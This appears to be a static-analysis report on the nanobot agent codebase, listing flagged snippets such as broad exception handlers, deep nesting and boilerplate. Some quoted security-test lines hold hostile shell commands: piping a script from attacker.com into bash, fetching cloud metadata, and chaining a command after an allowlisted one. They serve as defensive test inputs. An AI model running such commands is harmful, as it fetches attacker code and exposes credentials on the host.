LOWnanobot/security/network.py102 except Exception as e:CODE
LOWnanobot/security/network.py158 except Exception:CODE
LOWnanobot/security/network.py224 except Exception:CODE
LOWnanobot/security/network.py295 except Exception:CODE
LOWnanobot/triggers/local_store.py214 except Exception:CODE
LOWnanobot/triggers/local_store.py234 except Exception:CODE
LOWnanobot/triggers/local_store.py332 except Exception as exc:CODE
LOWnanobot/triggers/local_store.py400 except Exception:CODE
LOWnanobot/triggers/local_runner.py103 except Exception as exc:CODE
LOWnanobot/triggers/local_runner.py186 except Exception:CODE
LOWnanobot/providers/image_generation.py559 except Exception:CODE
LOWnanobot/providers/image_generation.py1415 except Exception as exc:CODE
LOWnanobot/providers/image_generation.py1603 except Exception:CODE
LOWnanobot/providers/image_generation.py1624 except Exception:CODE
LOWnanobot/providers/transcription.py146 except Exception as e:CODE
LOWnanobot/providers/transcription.py173 except Exception as e:CODE
LOWnanobot/providers/transcription.py179 except Exception as e:CODE
LOWnanobot/providers/transcription.py460 except Exception as e:CODE
LOWnanobot/providers/transcription.py487 except Exception as e:CODE
LOWnanobot/providers/transcription.py493 except Exception as e:CODE
LOWnanobot/providers/bedrock_provider.py129 except Exception:CODE
LOWnanobot/providers/bedrock_provider.py219 except Exception:CODE
LOWnanobot/providers/bedrock_provider.py748 except Exception as e:CODE
LOWnanobot/providers/bedrock_provider.py814 except Exception as e:CODE
LOWnanobot/providers/openai_codex_oauth.py141 except Exception as exc:CODE
LOWnanobot/providers/openai_codex_oauth.py181 except Exception:CODE
MEDIUMnanobot/providers/openai_codex_oauth.py132def _run(self) -> None:CODE
LOWnanobot/providers/xai_oauth.py224 except Exception as exc:CODE
LOWnanobot/providers/openai_compat_provider.py682 except Exception:CODE
LOWnanobot/providers/openai_compat_provider.py256 except Exception:CODE
LOWnanobot/providers/openai_compat_provider.py447 except Exception:CODE
LOWnanobot/providers/openai_compat_provider.py1349 except Exception as exc:CODE
LOWnanobot/providers/openai_compat_provider.py1831 except Exception:CODE
LOWnanobot/providers/openai_compat_provider.py1957 except Exception as responses_error:CODE
LOWnanobot/providers/openai_compat_provider.py1978 except Exception as e:CODE
LOWnanobot/providers/openai_compat_provider.py2053 except Exception as responses_error:CODE
LOWnanobot/providers/openai_compat_provider.py2146 except Exception as e:CODE
LOWnanobot/providers/xai_grok_provider.py94 except Exception as exc:CODE
LOWnanobot/providers/xai_grok_provider.py219 except Exception as exc:CODE
LOWnanobot/providers/azure_openai_provider.py87 except Exception:CODE
LOWnanobot/providers/azure_openai_provider.py254 except Exception as exc:CODE
LOWnanobot/providers/azure_openai_provider.py362 except Exception as e:CODE
LOWnanobot/providers/azure_openai_provider.py414 except Exception as e:CODE
LOWnanobot/providers/openai_codex_provider.py153 except Exception as exc:CODE
LOWnanobot/providers/openai_codex_provider.py207 except Exception as compact_error:CODE
LOWnanobot/providers/openai_codex_provider.py220 except Exception as e:CODE
LOWnanobot/providers/fallback_provider.py513 except Exception as exc:CODE
LOWnanobot/providers/fallback_provider.py601 except Exception:CODE
LOWnanobot/providers/anthropic_provider.py136 except Exception:CODE
LOWnanobot/providers/anthropic_provider.py751 except Exception as e:CODE
LOWnanobot/providers/anthropic_provider.py861 except Exception as e:CODE
LOWnanobot/providers/base.py150 except Exception:CODE
LOWnanobot/providers/base.py153 except Exception:CODE
463 more matches not shown…
Cross-Language Confusion33 hits · 210 pts
SeverityFileLineSnippetContext
HIGHhatch_build.py5to remember `cd webui && bun run build` beforehand.STRING
HIGHhatch_build.py10 development; webui contributors use `cd webui && bun run dev` (Vite HMR) andSTRING
HIGHhatch_build.py57 "(use `cd webui && bun run build` to bundle webui manually)"CODE
HIGHnanobot/web/__init__.py8can still use the Vite dev server at ``cd webui && bun run dev``.STRING
HIGHnanobot/agent/tools/shell.py553 "if ($LASTEXITCODE -ne $null) { exit $LASTEXITCODE }"CODE
HIGHnanobot/webui/build.py198 "`cd webui && bun run build` manually"CODE
HIGHnanobot/webui/build.py249 message = "Build WebUI now? This runs `cd webui && bun run build`."CODE
HIGH…bot/channels/websocket/tests/test_websocket_channel.py690 ('{"content": null}', None), # null contentCODE
HIGHtests/pairing/test_store.py255 '{"approved": {"telegram": null, "discord": ["456"]}, "pending": {}}',CODE
HIGHtests/pairing/test_store.py268 '{"approved": null, "pending": null}',CODE
HIGHtests/pairing/test_store.py307 '{"approved": {}, "pending": {"ABCD-EFGH": null}}',CODE
HIGHtests/pairing/test_store.py319 '"bad-expiry": {"channel": "telegram", "sender_id": "123", "expires_at": null},'CODE
HIGHtests/tools/test_exec_security.py171 command="echo start && curl http://169.254.169.254/latest/meta-data/ && echo done"CODE
HIGHtests/tools/test_exec_security.py300 'rm test_print.txt 2>/dev/null; echo "done"',CODE
HIGHtests/tools/test_exec_security.py331 command=f'rm {target} 2>/dev/null; echo "done"',CODE
HIGHtests/tools/test_exec_platform.py842 result = await ExecTool(timeout=10).execute(command="echo before && echo after")CODE
HIGHtests/tools/test_exec_platform.py269 assert "if ($LASTEXITCODE -ne $null) { exit $LASTEXITCODE }" in commandCODE
HIGHtests/tools/test_exec_platform.py668 cmd = r'copy \\server\data\file.txt C:\local\temp && ls /tmp'CODE
HIGHtests/tools/test_exec_allow_patterns.py65 result = tool._guard_command("echo allowlisted && touch /tmp/evil", "/tmp")CODE
HIGHtests/tools/test_exec_allow_patterns.py152 result = tool._guard_command("echo allowlisted && echo also_allowed", "/tmp")CODE
HIGHtests/tools/test_exec_env.py118 '/tmp/bin && curl http://attacker.com/shell.sh | bash',CODE
HIGHtests/security/test_security_network.py309 assert not contains_internal_url("echo hello && ls -la")CODE
HIGHtests/utils/test_workspace_violation_throttle.py33 {"command": "cat /Users/x/Downloads/01.md && echo done"},CODE
HIGHtests/agent/test_cursor_recovery.py52 '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "null"}\n'CODE
HIGHtests/agent/test_cursor_recovery.py127 '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "also bad"}\n'CODE
HIGHtests/agent/test_tool_hint.py46 cmd = "cd /very/long/path && cat file && echo done && sleep 1 && ls -la"CODE
HIGHtests/agent/test_tool_hint.py53 cmd = "cd D:\\Documents\\GitHub\\nanobot\\.worktree\\tomain\\nanobot && git diff origin/main...pr-2706 --name-onCODE
HIGHtests/agent/test_tool_hint.py60 cmd = "cd /home/user/projects/nanobot/.worktree/tomain && make build"CODE
HIGHtests/agent/test_tool_hint.py67 cmd = "cd ~/projects/nanobot/workspace && pytest tests/"CODE
HIGHtests/agent/test_tool_hint.py89 cmd = "cd D:\\Documents\\GitHub\\project && npm run build && npm test"CODE
HIGHtests/agent/test_tool_hint.py255 cmd = "cd /very/long/path/to/some/project && npm run build && npm test"CODE
HIGHtests/agent/test_tool_hint.py261 cmd = "cd /very/long/path/to/some/project && npm run build && npm test"CODE
HIGHtests/agent/test_tool_hint.py268 cmd = "cd /home/user/project && npm install && npm run build"CODE
Deep Nesting233 hits · 174 pts
SeverityFileLineSnippetContext
LOWtui/scripts/pty_smoke.py75CODE
LOWnanobot/process_runtime.py238CODE
LOWnanobot/optional_features.py535CODE
LOWnanobot/pairing/store.py310CODE
LOWnanobot/config/schema.py497CODE
LOWnanobot/triggers/local_store.py411CODE
LOWnanobot/providers/image_generation.py154CODE
LOWnanobot/providers/image_generation.py1575CODE
LOWnanobot/providers/image_generation.py1634CODE
LOWnanobot/providers/image_generation.py794CODE
LOWnanobot/providers/bedrock_provider.py348CODE
LOWnanobot/providers/bedrock_provider.py543CODE
LOWnanobot/providers/openai_compat_provider.py686CODE
LOWnanobot/providers/openai_compat_provider.py1230CODE
LOWnanobot/providers/openai_compat_provider.py1380CODE
LOWnanobot/providers/openai_compat_provider.py1511CODE
LOWnanobot/providers/openai_compat_provider.py1658CODE
LOWnanobot/providers/openai_compat_provider.py1818CODE
LOWnanobot/providers/openai_compat_provider.py1925CODE
LOWnanobot/providers/openai_compat_provider.py1981CODE
LOWnanobot/providers/factory.py76CODE
LOWnanobot/providers/factory.py150CODE
LOWnanobot/providers/xai_grok_provider.py583CODE
LOWnanobot/providers/azure_openai_provider.py270CODE
LOWnanobot/providers/openai_codex_provider.py510CODE
LOWnanobot/providers/openai_codex_provider.py73CODE
LOWnanobot/providers/fallback_provider.py414CODE
LOWnanobot/providers/anthropic_provider.py123CODE
LOWnanobot/providers/anthropic_provider.py188CODE
LOWnanobot/providers/anthropic_provider.py298CODE
LOWnanobot/providers/anthropic_provider.py577CODE
LOWnanobot/providers/anthropic_provider.py659CODE
LOWnanobot/providers/anthropic_provider.py769CODE
LOWnanobot/providers/base.py794CODE
LOWnanobot/providers/base.py984CODE
LOWnanobot/providers/base.py1033CODE
LOWnanobot/providers/base.py1102CODE
LOWnanobot/providers/base.py1142CODE
LOWnanobot/providers/base.py1572CODE
LOWnanobot/providers/openai_responses/parsing.py92CODE
LOWnanobot/providers/openai_responses/parsing.py355CODE
LOWnanobot/providers/openai_responses/parsing.py563CODE
LOWnanobot/providers/openai_responses/parsing.py587CODE
LOWnanobot/providers/openai_responses/parsing.py661CODE
LOWnanobot/providers/openai_responses/converters.py15CODE
LOWnanobot/providers/openai_responses/converters.py81CODE
LOWnanobot/providers/openai_responses/converters.py107CODE
LOWnanobot/utils/gitstore.py174CODE
LOWnanobot/utils/gitstore.py230CODE
LOWnanobot/utils/gitstore.py300CODE
LOWnanobot/utils/gitstore.py417CODE
LOWnanobot/utils/gitstore.py444CODE
LOWnanobot/utils/run_records.py37CODE
LOWnanobot/utils/file_edit_events.py255CODE
LOWnanobot/utils/document.py99CODE
LOWnanobot/utils/document.py238CODE
LOWnanobot/utils/document.py249CODE
LOWnanobot/utils/path.py10CODE
LOWnanobot/utils/helpers.py471CODE
LOWnanobot/utils/helpers.py674CODE
173 more matches not shown…
Modern Structural Boilerplate90 hits · 94 pts
SeverityFileLineSnippetContext
LOWnanobot/nanobot.py45__all__ = [CODE
LOWnanobot/__init__.py96__all__ = [CODE
LOWnanobot/pairing/__init__.py22__all__ = [CODE
LOWnanobot/llm_usage/__init__.py78__all__ = [CODE
LOWnanobot/config/__init__.py19__all__ = [CODE
LOWnanobot/config/loader.py29def set_config_path(path: Path) -> None:CODE
LOWnanobot/triggers/__init__.py11__all__ = [CODE
LOWnanobot/providers/__init__.py10__all__ = [CODE
LOWnanobot/providers/fallback_provider.py151 def set_fallback_model_observer(self, observer: FallbackModelObserver | None) -> None:CODE
LOWnanobot/providers/fallback_provider.py155 def set_llm_call_observer(self, observer: LLMCallObserver | None) -> None:CODE
LOWnanobot/providers/base.py693 def set_llm_call_observer(self, observer: LLMCallObserver | None) -> None:CODE
LOWnanobot/providers/openai_responses/__init__.py30__all__ = [CODE
LOWnanobot/bus/__init__.py6__all__ = ["MessageBus", "InboundMessage", "OutboundMessage"]CODE
LOWnanobot/utils/__init__.py12__all__ = ["ensure_dir", "abbreviate_path"]CODE
LOWnanobot/agent/plugins.py249def set_agent_plugin_enabled(workspace: Path, name: str, enabled: bool) -> None:CODE
LOWnanobot/agent/subagent.py163 def set_provider(self, provider: LLMProvider, model: str) -> None:CODE
LOWnanobot/agent/memory.py526 def set_last_dream_cursor(self, cursor: int) -> None:CODE
LOWnanobot/agent/__init__.py17__all__ = [CODE
LOWnanobot/agent/loop.py2267 def _set_runtime_checkpoint(self, session: Session, payload: dict[str, Any]) -> None:CODE
LOWnanobot/agent/tools/mcp_oauth.py271 async def set_tokens(self, tokens: OAuthToken) -> None:CODE
LOWnanobot/agent/tools/mcp_oauth.py296 async def set_client_info(self, client_info: OAuthClientInformationFull) -> None:CODE
LOWnanobot/agent/tools/__init__.py17__all__ = [CODE
LOWnanobot/agent/tools/message.py103 def set_send_callback(self, callback: Callable[[OutboundMessage], Awaitable[None]]) -> None:CODE
LOWnanobot/agent/tools/_windows_job.py108def _set_kill_on_close(handle: int, enabled: bool) -> None:CODE
LOWnanobot/agent/tools/context.py48 def set_context(self, ctx: RequestContext) -> None:CODE
LOWnanobot/agent/tools/mcp.py512 def _set_mcp_connection(self, session: ClientSession, server_name: str) -> None:CODE
LOWnanobot/agent/tools/mcp.py517 def set_reconnect_handler(self, reconnect: _ReconnectCallback) -> None:CODE
LOWnanobot/agent/tools/runtime_control.py101 def set_max_iterations(self, value: int) -> None: ...CODE
LOWnanobot/agent/tools/runtime_control.py105 def set_provider_retry_mode(self, value: str) -> None: ...CODE
LOWnanobot/agent/tools/runtime_control.py107 def set_max_tool_result_chars(self, value: int) -> None: ...CODE
LOWnanobot/agent/tools/runtime_control.py109 def set_workspace_display(self, value: str) -> None: ...CODE
LOWnanobot/agent/tools/runtime_control.py111 def set_scratchpad(self, key: str, value: JsonValue, *, max_keys: int) -> None: ...CODE
LOWnanobot/agent/tools/runtime_control.py194 def set_max_iterations(self, value: int) -> None:CODE
LOWnanobot/agent/tools/runtime_control.py201 def set_provider_retry_mode(self, value: str) -> None:CODE
LOWnanobot/agent/tools/runtime_control.py204 def set_max_tool_result_chars(self, value: int) -> None:CODE
LOWnanobot/agent/tools/runtime_control.py207 def set_workspace_display(self, value: str) -> None:CODE
LOWnanobot/agent/tools/runtime_control.py211 def set_scratchpad(self, key: str, value: JsonValue, *, max_keys: int) -> None:CODE
LOWnanobot/agent/tools/loader.py166 def set_context(self, ctx: RequestContext) -> None:CODE
LOWnanobot/agent/hooks/__init__.py8__all__ = [CODE
LOWnanobot/cli/gateway_runtime.py46__all__ = ["_run_gateway"]CODE
LOWnanobot/cli/onboard.py1594def _set_primary_quick_start_preset(config: Config, provider_name: str, model: str) -> None:CODE
LOWnanobot/cli/runtime_config.py13__all__ = [CODE
LOWnanobot/cli/terminal.py34__all__ = [CODE
LOWnanobot/cli/webui_support.py35__all__ = [CODE
LOWnanobot/cli/process_identity.py13def _set_process_title(title: str) -> None:CODE
LOWnanobot/cli/process_identity.py22def set_cli_process_identity(args: list[str]) -> None:CODE
LOWnanobot/cli/log_control.py5__all__ = ["_set_nanobot_logs"]CODE
LOWnanobot/cli/log_control.py8def _set_nanobot_logs(enabled: bool) -> None:CODE
LOWnanobot/webui/settings_capabilities.py289 def set_search_value(attr: str, value: object) -> None:CODE
LOWnanobot/webui/settings_capabilities.py295 def set_fetch_value(attr: str, value: object) -> None:CODE
LOWnanobot/webui/settings_capabilities.py359def update_api_settings(config: Config, query: QueryParams) -> None:CODE
LOWnanobot/webui/mcp_presets_runtime.py5__all__ = ["session_extra"]CODE
LOWnanobot/webui/version_check.py17logger = logging.getLogger(__name__)CODE
LOWnanobot/command/__init__.py6__all__ = ["CommandContext", "CommandRouter", "register_builtin_commands"]CODE
LOWnanobot/apps/__init__.py5__all__ = ["APP_PROTOCOL_SCHEMA", "app_manifest"]CODE
LOWnanobot/apps/cli/__init__.py9__all__ = [CODE
LOWnanobot/gateway/__init__.py15__all__ = [CODE
LOWnanobot/cron/__init__.py10__all__ = ["CronService", "CronJob", "CronSchedule"]CODE
LOWnanobot/channels/connect.py24__all__ = ["ChannelConnectError", "QueryParams", "query_first"]CODE
LOWnanobot/channels/registry.py97__all__ = [CODE
30 more matches not shown…
AI Structural Patterns46 hits · 36 pts
SeverityFileLineSnippetContext
LOWnanobot/nanobot.py144CODE
LOWnanobot/nanobot.py205CODE
LOWnanobot/nanobot.py310CODE
LOWnanobot/providers/bedrock_provider.py54CODE
LOWnanobot/providers/bedrock_provider.py751CODE
LOWnanobot/providers/openai_compat_provider.py510CODE
LOWnanobot/providers/openai_compat_provider.py1981CODE
LOWnanobot/providers/github_copilot_provider.py271CODE
LOWnanobot/providers/xai_grok_provider.py248CODE
LOWnanobot/providers/azure_openai_provider.py365CODE
LOWnanobot/providers/openai_codex_provider.py266CODE
LOWnanobot/providers/anthropic_provider.py769CODE
LOWnanobot/providers/base.py1200CODE
LOWnanobot/providers/base.py1342CODE
LOWnanobot/providers/base.py1406CODE
LOWnanobot/agent/subagent.py96CODE
LOWnanobot/agent/subagent.py229CODE
LOWnanobot/agent/subagent.py293CODE
LOWnanobot/agent/context.py269CODE
LOWnanobot/agent/loop.py256CODE
LOWnanobot/agent/loop.py930CODE
LOWnanobot/agent/loop.py1570CODE
LOWnanobot/agent/loop.py2282CODE
LOWnanobot/agent/tools/filesystem.py46CODE
LOWnanobot/agent/tools/shell.py195CODE
LOWnanobot/agent/tools/shell.py274CODE
LOWnanobot/agent/tools/search.py353CODE
LOWnanobot/agent/tools/search.py674CODE
LOWnanobot/cli/gateway_runtime.py340CODE
LOWnanobot/cli/gateway.py352CODE
LOWnanobot/cli/webui.py73CODE
LOWnanobot/cli/agent.py54CODE
LOWnanobot/webui/gateway_services.py53CODE
LOWnanobot/webui/ws_http.py304CODE
LOWnanobot/webui/transcript.py2558CODE
LOWnanobot/webui/dev.py124CODE
LOWnanobot/cron/service.py653CODE
LOWnanobot/channels/manager.py89CODE
LOW…channels/websocket/tests/test_websocket_http_routes.py71CODE
LOW…channels/websocket/tests/test_websocket_http_routes.py111CODE
LOWnanobot/channels/discord/tests/test_discord_channel.py172CODE
LOWnanobot/channels/feishu/tests/test_feishu_reply.py51CODE
LOWnanobot/channels/matrix/runtime.py506CODE
LOWnanobot/channels/signal/tests/test_signal_channel.py84CODE
LOWnanobot/channels/signal/tests/test_signal_channel.py665CODE
LOWtests/agent/conftest.py42CODE
Self-Referential Comments9 hits · 34 pts
SeverityFileLineSnippetContext
MEDIUMnanobot/channels/email/tests/test_email_channel.py1518 # Create a real temp file to attachCOMMENT
MEDIUMtests/test_api_attachment.py275 # Create a file larger than 10MBCOMMENT
MEDIUMtests/test_document_parsing.py479 # Create a minimal PNG file (1x1 pixel)COMMENT
MEDIUMtests/providers/test_image_generation.py1878 # Create a temporary image fileCOMMENT
MEDIUMtests/agent/test_unified_session.py460 # Create a message from telegram channelCOMMENT
MEDIUMtests/agent/test_unified_session.py488 # Create a long-running task stored under UNIFIED_SESSION_KEYCOMMENT
MEDIUMtests/agent/test_unified_session.py495 # Create a message that would have session_key=UNIFIED_SESSION_KEY after dispatchCOMMENT
MEDIUMtests/agent/test_onboard_logic.py202 # Create a mock field_info with None annotationCOMMENT
MEDIUMtests/channels/test_channel_plugins.py3506 # Create a real cancelled taskCOMMENT
Structural Annotation Overuse19 hits · 26 pts
SeverityFileLineSnippetContext
LOWnanobot/skills/update-setup/SKILL.md15## Step 1: Check ExistingCOMMENT
LOWnanobot/skills/update-setup/SKILL.md21## Step 2: Current Version and Install CluesCOMMENT
LOWnanobot/skills/update-setup/SKILL.md38## Step 3: Confirm Required InputsCOMMENT
LOWnanobot/skills/update-setup/SKILL.md80## Step 4: Generate SkillCOMMENT
LOWnanobot/skills/update-setup/SKILL.md126## Step 5: ConfirmCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md222### Step 1: Understanding the Skill with Concrete ExamplesCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md239### Step 2: Planning the Reusable Skill ContentsCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md263### Step 3: Initializing the SkillCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md296### Step 4: Edit the SkillCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md337### Step 5: Packaging a SkillCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md365### Step 6: IterateCOMMENT
LOWnanobot/channels/dingtalk/runtime.py859 # Step 1: Exchange downloadCode for a temporary download URLCOMMENT
LOWnanobot/channels/dingtalk/runtime.py874 # Step 2: Download the file contentCOMMENT
LOWnanobot/channels/wecom/runtime.py458 # Step 1: initCOMMENT
LOWnanobot/channels/wecom/runtime.py475 # Step 2: send chunksCOMMENT
LOWnanobot/channels/wecom/runtime.py487 # Step 3: finishCOMMENT
LOWnanobot/channels/weixin/runtime.py2395 # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param)COMMENT
LOWnanobot/channels/weixin/runtime.py2421 # Step 2: AES-128-ECB encrypt and POST to CDNCOMMENT
LOWnanobot/channels/weixin/runtime.py2449 # Step 3: Send message with the media itemCOMMENT
Magic Placeholder Names3 hits · 15 pts
SeverityFileLineSnippetContext
HIGHdocs/configuration.md1059 "apiKey": "your-api-key",CODE
HIGHdocs/configuration.md1087> "apiKey": "your-api-key",CODE
HIGHdocs/configuration.md1116 "apiKey": "your-api-key",CODE
Redundant / Tautological Comments7 hits · 12 pts
SeverityFileLineSnippetContext
LOWnanobot/agent/tools/filesystem.py227 # Check if resolved path starts with /dev/ (covers symlinks to devices)COMMENT
LOWnanobot/agent/tools/filesystem.py381 # Read the file content after dedup checkCOMMENT
LOWnanobot/cli/onboard.py1061 # Check if context_window_tokens field existsCOMMENT
LOWnanobot/cli/onboard.py1067 # Check if current value is the defaultCOMMENT
LOWnanobot/skills/skill-creator/scripts/init_skill.py282 # Check if directory already existsCOMMENT
LOWnanobot/channels/manager.py890 # Check if this message belongs to the same streamCOMMENT
LOWnanobot/channels/wecom/runtime.py438 # Read file size and data in a thread to avoid blocking the event loopCOMMENT
Verbosity Indicators8 hits · 10 pts
SeverityFileLineSnippetContext
LOWnanobot/channels/dingtalk/runtime.py859 # Step 1: Exchange downloadCode for a temporary download URLCOMMENT
LOWnanobot/channels/dingtalk/runtime.py874 # Step 2: Download the file contentCOMMENT
LOWnanobot/channels/wecom/runtime.py458 # Step 1: initCOMMENT
LOWnanobot/channels/wecom/runtime.py475 # Step 2: send chunksCOMMENT
LOWnanobot/channels/wecom/runtime.py487 # Step 3: finishCOMMENT
LOWnanobot/channels/weixin/runtime.py2395 # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param)COMMENT
LOWnanobot/channels/weixin/runtime.py2421 # Step 2: AES-128-ECB encrypt and POST to CDNCOMMENT
LOWnanobot/channels/weixin/runtime.py2449 # Step 3: Send message with the media itemCOMMENT
AI Slop Vocabulary4 hits · 9 pts
SeverityFileLineSnippetContext
MEDIUMnanobot/channels/dingtalk/runtime.py77 # Parse using SDK's ChatbotMessage for robust handlingCOMMENT
LOWnanobot/channels/weixin/runtime.py1248 # If quoted message is media, just pass the textCOMMENT
MEDIUMnanobot/channels/signal/runtime.py717 # Keep aliases of the bot account for robust mention matching.COMMENT
MEDIUMwebui/package-lock.json7906 "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.3.tgz",CODE
Modern AI Meta-Vocabulary2 hits · 6 pts
SeverityFileLineSnippetContext
MEDIUMnanobot/providers/openai_compat_provider.py1555 # under the reasoning trace.COMMENT
MEDIUMdocs/my-tool.md48# Note: prompt_tokens is cumulative across all turns, not current context window occupancy.COMMENT
Docstring Block Structure1 hit · 5 pts
SeverityFileLineSnippetContext
HIGHnanobot/skills/skill-creator/scripts/init_skill.py267 Initialize a new skill directory with template SKILL.md. Args: skill_name: Name of the skill pSTRING
Dead Code2 hits · 4 pts
SeverityFileLineSnippetContext
MEDIUMtests/tools/test_mcp_tool.py206CODE
MEDIUMtests/tools/test_mcp_tool.py891CODE
Over-Commented Block4 hits · 4 pts
SeverityFileLineSnippetContext
LOWrender.yaml1# Render Blueprint — deploys nanobot's gateway + bundled WebUI as one webCOMMENT
LOWnanobot/providers/registry.py81COMMENT
LOWnanobot/providers/registry.py101 reasoning_as_content: bool = FalseCOMMENT
LOWnanobot/providers/openai_compat_provider.py561 timeout=timeout_s,COMMENT
Overly Generic Function Names1 hit · 1 pts
SeverityFileLineSnippetContext
LOW…nobot/channels/whatsapp/tests/test_whatsapp_channel.py270 def handle_request(request: httpx.Request) -> httpx.Response:CODE